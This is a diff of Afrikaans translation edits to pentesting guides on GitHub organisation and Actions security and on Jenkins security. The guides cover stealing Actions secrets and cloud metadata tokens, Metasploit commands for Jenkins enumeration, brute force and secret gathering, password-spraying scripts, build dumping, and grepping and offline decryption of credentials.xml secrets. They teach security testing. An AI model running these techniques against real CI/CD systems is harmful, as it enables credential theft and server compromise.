+- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryf toestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Aksie gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
+Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Action gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
## Git Aksies
@@ -140,17 +140,17 @@ Git aksies laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebe
### Konfigurasie
-In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github aksies** vir die organisasie te kontroleer.
+In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organisasie te kontroleer.
-Dit is moontlik om die gebruik van github aksies heeltemal te verbied, **alle github aksies toe te laat**, of net sekere aksies toe te laat.
+Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere aksies toe te laat.
-Dit is ook moontlik om te konfigureer **wie goedkeuring nodig het om 'n Github Aksie te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Aksie wanneer dit uitgevoer word.
+Dit is ook moontlik om te konfigureer **wie goedkeuring benodig om 'n Github Action te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
-### Git Geheime
+### Git Geheimen
-Github Aksie benodig gewoonlik 'n soort geheime om met github of derdeparty toepassings te kommunikeer. Om te **verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas.
+Github Action benodig gewoonlik 'n soort geheim om met github of derdeparty toepassings te kommunikeer. Om **te verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas.
-Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Aksie toegang tot die geheim te gee**, moet jy dit soos volg verklaar:
+Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Action toegang tot die geheim te gee**, moet jy dit soos volg verklaar:
```yaml
steps:
- name: Hello world action
@@ -168,77 +168,77 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Geheimnisse **kan slegs vanaf die Github Actions** wat hulle verklaar het, toeganklik wees.
+> Geheime **kan slegs vanaf die Github Actions** wat dit verklaar, toegang verkry.
-> Sodra dit in die repo of die organisasies gekonfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**.
+> Sodra dit in die repo of die organisasies geconfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**.
-Daarom is die **enigste manier om github geheimnisse te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheimnisse wat vir die Action verklaar is).
+Daarom is die **enige manier om github geheime te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheime wat vir die Action verklaar is).
### Git Omgewings
-Github laat toe om **omgewings** te skep waar jy **geheimnisse** kan stoor. Dan kan jy die github action toegang gee tot die geheimnisse binne die omgewing met iets soos:
+Github laat toe om **omgewings** te skep waar jy **geheime** kan stoor. Dan kan jy die github action toegang gee tot die geheime binne die omgewing met iets soos:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-You can configure an environment to be **accessed** by **alle takke** (default), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\
-Dit kan ook 'n **aantal vereiste hersienings** stel voordat **uitvoering** van 'n **aksie** met 'n **omgewing** plaasvind of **wag** vir 'n **tyd** voordat ontplooiings voortgaan.
+U kan 'n omgewing konfigureer om **toegang** te hê tot **alle takke** (standaard), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\
+Dit kan ook 'n **aantal vereiste hersienings** stel voordat 'n **aksie** met 'n **omgewing** uitgevoer word of **wag** 'n **tyd** voordat ontplooiings voortgaan.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **derdeparty-infrastruktuur** geconfigureer deur die gebruiker.
+'n Github Aksie kan **binne die github omgewing uitgevoer word** of kan uitgevoer word in 'n **derdeparty-infrastruktuur** wat deur die gebruiker gekonfigureer is.
-Verskeie organisasies sal toelaat dat Github Actions in 'n **derdeparty-infrastruktuur** gedraai word, aangesien dit gewoonlik **goedkoper** is.
+Verskeie organisasies sal toelaat dat Github Aksies in 'n **derdeparty-infrastruktuur** uitgevoer word, aangesien dit gewoonlik **goedkoper** is.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+U kan die **self-gehoste runners** van 'n organisasie lys in _https://github.com/organizations/\/settings/actions/runners_
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Die manier om te vind watter **Github Aksies in nie-github infrastruktuur uitgevoer word** is om te soek na `runs-on: self-hosted` in die Github Aksie konfigurasie yaml.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Dit is **nie moontlik om 'n Github Aksie van 'n organisasie binne 'n self-gehoste boks** van 'n ander organisasie uit te voer nie, omdat **'n unieke token vir die Runner gegenereer word** wanneer dit gekonfigureer word om te weet waar die runner behoort.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+As die persoonlike **Github Runner in 'n masjien binne AWS of GCP** gekonfigureer is, kan die Aksie **toegang hê tot die metadata-eindpunt** en **die token van die diensrekening** wat die masjien gebruik, **steel**.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+As alle aksies (of 'n kwaadwillige aksie) toegelaat word, kan 'n gebruiker 'n **Github aksie** gebruik wat **kwaadwillig** is en die **houer** waar dit uitgevoer word, **kompromitteer**.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> 'n **Kwaadwillige Github Aksie** kan **misbruik** word deur die aanvaller om:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **derdeparty-infrastruktuur** waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Al die geheime** wat die Aksie toegang het, te **steel**
+> - **Lateraal te beweeg** as die Aksie binne 'n **derdeparty-infrastruktuur** uitgevoer word waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens)
+> - **Die token** wat deur die **werkvloei** gebruik word, te **misbruik** om die kode van die repo waar die Aksie uitgevoer word, te **steel** of **selfs dit te wysig**.
-## Branch Protections
+## Takbeskermings
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Takbeskermings is ontwerp om **nie volledige beheer oor 'n repo** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat daar geskryf kan word in 'n sekere tak**.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+Die **takbeskermings van 'n repo** kan gevind word in _https://github.com/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So, al hierdie moet op elke repo verklaar word.
-Different protections can be applied to a branch (like to master):
+Verskillende beskermings kan op 'n tak toegepas word (soos op meester):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- U kan **'n PR vereis voordat dit saamgevoeg word** (so u kan nie direk kode oor die tak saamvoeg nie). As dit gekies word, kan verskillende ander beskermings in plek wees:
+- **Vereis 'n aantal goedkeuringe**. Dit is baie algemeen om 1 of 2 meer mense te vereis om u PR goed te keur sodat 'n enkele gebruiker nie in staat is om kode direk saam te voeg nie.
+- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**. As nie, kan 'n gebruiker wettige kode goedkeur en dan kan die gebruiker kwaadwillige kode byvoeg en dit saamvoeg.
+- **Vereis hersienings van Kode-eienaars**. Ten minste 1 kode-eienaar van die repo moet die PR goedkeur (sodat "ewekansige" gebruikers dit nie kan goedkeur nie)
+- **Beperk wie kan pull request hersienings verwerp.** U kan mense of spanne spesifiseer wat toegelaat word om pull request hersienings te verwerp.
+- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**. Hierdie gebruikers sal in staat wees om vorige beperkings te omseil.
+- **Vereis status kontroles om te slaag voordat dit saamgevoeg word.** Sommige kontroles moet slaag voordat die verbintenis saamgevoeg kan word (soos 'n github aksie wat kyk of daar nie enige duidelike teks geheim is nie).
+- **Vereis gesprekresolusie voordat dit saamgevoeg word**. Alle kommentaar op die kode moet opgelos word voordat die PR saamgevoeg kan word.
+- **Vereis geskrewe verbintenisse**. Die verbintenisse moet geskrewe wees.
+- **Vereis lineêre geskiedenis.** Voorkom dat saamvoegverbintenisse na ooreenstemmende takke gestuur word.
+- **Sluit administrateurs in**. As dit nie ingestel is nie, kan administrateurs die beperkings omseil.
+- **Beperk wie kan na ooreenstemmende takke druk**. Beperk wie 'n PR kan stuur.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Soos u kan sien, selfs al het u daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm word wat u verhoed om kode na meester te druk** om byvoorbeeld die CI/CD-pyplyn te kompromitteer.
-## References
+## Verwysings
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 95a338beb..08ab222a5 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,68 +1,68 @@
-# Jenkins Security
+# Jenkins Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
-Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode-repositories te vestig met behulp van pipelines. Boonop outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou-, toets- en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan opstel.
+Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode repositories te vestig met behulp van pipelines. Verder outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou, toets, en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan saamstel.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Ongeoutentiseerde Enumerasie
+## Onauthentieke Enumerasie
-Om te soek na interessante Jenkins-bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van:
+Om te soek na interessante Jenkins bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-Kontroleer of jy opdragte kan uitvoer sonder om te hoef te autentiseer:
+Kontroleer of jy opdragte kan uitvoer sonder om verifikasie te benodig:
```
msf> use auxiliary/scanner/http/jenkins_command
```
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **gebruikersname**.
+sonder geloofsbriewe kan jy binne die _**/asynchPeople/**_ pad of _**/securityRealm/user/admin/search/index?q=**_ kyk vir **gebruikersname**.
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+Jy mag dalk die Jenkins weergawe van die pad _**/oops**_ of _**/error**_ kan kry.
.png>)
-### Known Vulnerabilities
+### Bekende Kw vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## Teken in
-In the basic information you can check **alle maniere om in Jenkins aan te meld**:
+In die basiese inligting kan jy **alle maniere om in Jenkins in te teken** nagaan:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### Registreer
-You will be able to find Jenkins instances that **toelaat dat jy 'n rekening skep en daarin aanmeld. So eenvoudig soos dit.**
+Jy sal in staat wees om Jenkins instansies te vind wat **jou toelaat om 'n rekening te skep en daarin in te teken. So eenvoudig soos dit.**
-### **SSO Login**
+### **SSO Teken in**
-Also if **SSO** **funksionaliteit**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+As **SSO** **funksionaliteit**/**plugins** teenwoordig was, moet jy probeer om in die toepassing in te teken met 'n toetsrekening (d.w.s., 'n toets **Github/Bitbucket rekening**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
-**Jenkins** lacks **wagwoordbeleid** and **gebruikersnaam bruteforce mitigering**. It's essential to **brute-force** users since **swak wagwoorde** or **gebruikersname as wagwoorde** may be in use, even **omgekeerde gebruikersname as wagwoorde**.
+**Jenkins** het **wagwoordbeleid** en **gebruikersnaam bruteforce mitigering** ontbreek. Dit is noodsaaklik om **bruteforce** gebruikers, aangesien **swak wagwoorde** of **gebruikersname as wagwoorde** dalk in gebruik is, selfs **omgekeerde gebruikersname as wagwoorde**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Wachtwoord spuit
-Gebruik [hierdie python skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell skrip](https://github.com/chryzsh/JenkinsPasswordSpray).
+Gebruik [hierdie python-skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell-skrip](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP Witlys Bypass
+### IP Whitelisting Bypass
-Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI stelsels toe om **webhook-gebeurtenisse van SaaS bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplyn take te aktiveer.
+Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om **webhook-gebeurtenisse van SaaS-bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplynwerk te aktiveer.
-Om dit te bereik, **witlys** organisasies die **IP reekse** van die **SCM platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enigeen** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI stelsel** kan stuur.
+Om dit te bereik, **whitelist** organisasies die **IP-reekse** van die **SCM-platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI-stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enige iemand** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI-stelsel** kan stuur.
Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
@@ -71,7 +71,7 @@ Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webho
In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.
> [!WARNING]
-> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk of dalk nie die volgende aanvalle uitvoer nie.**
+> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk in staat wees of nie om die volgende aanvalle uit te voer.**
Vir meer inligting, kyk na die basiese inligting:
@@ -79,19 +79,19 @@ Vir meer inligting, kyk na die basiese inligting:
basic-jenkins-information.md
{{#endref}}
-### Lys van gebruikers
+### Lys gebruikers
As jy toegang tot Jenkins verkry het, kan jy ander geregistreerde gebruikers lys in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
-### Dumping boue om duidelike teks geheime te vind
+### Dumping builds om duidelike teks geheime te vind
-Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou konsoluitvoer en bou omgewingsveranderlikes te dump om hopelik duidelike teks geheime te vind.
+Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou-konsoluitsette en bou-omgewing veranderlikes te dump om hopelik duidelike teks geheime te vind.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
-### **Steling van SSH Kredensiale**
+### **Diefstal van SSH Kredensiale**
As die gecompromitteerde gebruiker **genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig** en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy **daardie kredensiale steel** deur 'n node te skep/wysig en **'n gasheer in te stel wat die kredensiale sal opneem** sonder om die gasheer sleutel te verifieer:
@@ -107,7 +107,7 @@ Standaard sal Jenkins **as SYSTEM loop**. Dus, om dit te kompromitteer sal die a
### **RCE Skep/Wysig 'n projek**
-Skep/Wysig 'n projek is 'n manier om RCE oor die Jenkins bediener te verkry:
+Om 'n projek te skep/wysig is 'n manier om RCE oor die Jenkins bediener te verkry:
{{#ref}}
jenkins-rce-creating-modifying-project.md
@@ -115,51 +115,51 @@ jenkins-rce-creating-modifying-project.md
### **RCE Voer Groovy skrip uit**
-Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerksaam is as om 'n nuwe projek te skep:
+Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerklik is as om 'n nuwe projek te skep:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Skep/Wysig Pipeline
+### RCE Skep/Wysig Pyplyn
-Jy kan ook **RCE verkry deur 'n pipeline te skep/wysig**:
+Jy kan ook **RCE verkry deur 'n pyplyn te skep/wysig**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitatie
+## Pyplyn Exploitatie
-Om pipelines te ontgin moet jy steeds toegang tot Jenkins hê.
+Om pyplyne te ontgin, moet jy steeds toegang tot Jenkins hê.
-### Bou Pipelines
+### Bou Pyplyne
-**Pipelines** kan ook as **bou meganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pipeline sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik:
+**Pyplyne** kan ook as **boumeganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pyplyn sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik:
.png>)
-Dit is ook moontlik om **pipeline konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pipeline toegang te **skei**.
+Dit is ook moontlik om **pyplyn konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pyplyn toegang te **skei**.
-As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pipeline te aktiveer** sonder om toegang tot Jenkins te hê.\
+As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pyplyn te aktiveer** sonder om toegang tot Jenkins te hê.\
Dit is moontlik dat die aanvaller sal moet **omseil sommige tak beskermings** (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie).
-Die mees algemene triggers om 'n pasgemaakte pipeline uit te voer is:
+Die mees algemene triggers om 'n pasgemaakte pyplyn uit te voer is:
- **Trekversoek** na die hoof tak (of potensieel na ander takke)
- **Stoot na die hoof tak** (of potensieel na ander takke)
- **Opdateer die hoof tak** en wag totdat dit op een of ander manier uitgevoer word
> [!NOTE]
-> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pipeline te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**.
+> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pyplyn te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**.
-### Pipeline RCE
+### Pyplyn RCE
-In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pipeline te wysig**](./#rce-creating-modifying-pipeline).
+In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pyplyn te wysig**](./#rce-creating-modifying-pipeline).
### Kontroleer Omgewing veranderlikes
-Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pipeline of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pipeline** konfigurasies/Jenkinsfiles nagaan:
+Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pyplyn of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pyplyn** konfigurasies/Jenkinsfiles nagaan:
```bash
pipeline {
agent {label 'built-in'}
@@ -182,9 +182,9 @@ Vir inligting oor hoe sekrete gewoonlik deur Jenkins hanteer word, kyk na die ba
basic-jenkins-information.md
{{#endref}}
-Geloofsbriewe kan **geskik word aan globale verskaffers** (`/credentials/`) of aan **spesifieke projekte** (`/job//configure`). Daarom, om al hierdie te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en pasgemaakte/vergiftigde pyplyne uitvoer.
+Akrediteerlinge kan **geskik word vir globale verskaffers** (`/credentials/`) of vir **spesifieke projekte** (`/job//configure`). Daarom, om al hulle te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en aangepaste/vergiftigde pipelines uitvoer.
-Daar is 'n ander probleem, om 'n **geheim binne die omgewing** van 'n pyplyn te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry:
+Daar is nog 'n probleem, om 'n **geheim binne die omgewing** van 'n pipeline te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
@@ -216,7 +216,7 @@ env
'''
}
```
-Aan die einde van hierdie bladsy kan jy **alle tipe geloofsbewyse** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Aan die einde van hierdie bladsy kan jy **alle die akkreditasietipes** **vind**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Die beste manier om **alle die geheime op een slag** te **dump** is deur die **Jenkins** masjien te **kompromitteer** (byvoorbeeld deur 'n omgekeerde skulp in die **ingeboude node** te laat loop) en dan die **master sleutels** en die **geënkripteerde geheime** te **lek** en dit offline te ontsleutel.\
@@ -224,7 +224,7 @@ Aan die einde van hierdie bladsy kan jy **alle tipe geloofsbewyse** **vind**: [h
### Triggers
-Van [die dokumentasie](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`.
+Van [die docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` riglyn definieer die **geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word**. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag `triggers` nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is `cron`, `pollSCM` en `upstream`.
Cron voorbeeld:
```bash
@@ -234,7 +234,7 @@ Kontroleer **ander voorbeelde in die dokumentasie**.
### Knoop & Agente
-'n **Jenkins-instansie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin.
+'n **Jenkins-instantie** mag **verskillende agente op verskillende masjiene hê**. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële wolkakkredite** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te ontgin.
Vir meer inligting, kyk na die basiese inligting:
@@ -312,9 +312,9 @@ jenkins-rce-creating-modifying-pipeline.md
```
msf> post/multi/gather/jenkins_gather
```
-### Jenkins Geheime
+### Jenkins Geheimen
-Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
+Jy kan die geheime lys deur toegang te verkry tot `/credentials/` as jy genoeg regte het. Let daarop dat dit slegs die geheime in die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
As jy **die konfigurasie van elke projek kan sien**, kan jy ook daar die **name van die krediete (geheime)** sien wat gebruik word om toegang tot die repository te verkry en **ander krediete van die projek**.
@@ -349,7 +349,7 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
-#### Decrypt Jenkins secrets offline
+#### Ontsleutel Jenkins geheime offline
As jy die **nodige wagwoorde om die geheime te ontsleutel** afgelaai het, gebruik [**hierdie skrif**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **om daardie geheime te ontsleutel**.
```bash
@@ -365,8 +365,8 @@ println(hudson.util.Secret.decrypt("{...}"))
```
### Skep nuwe admin gebruiker
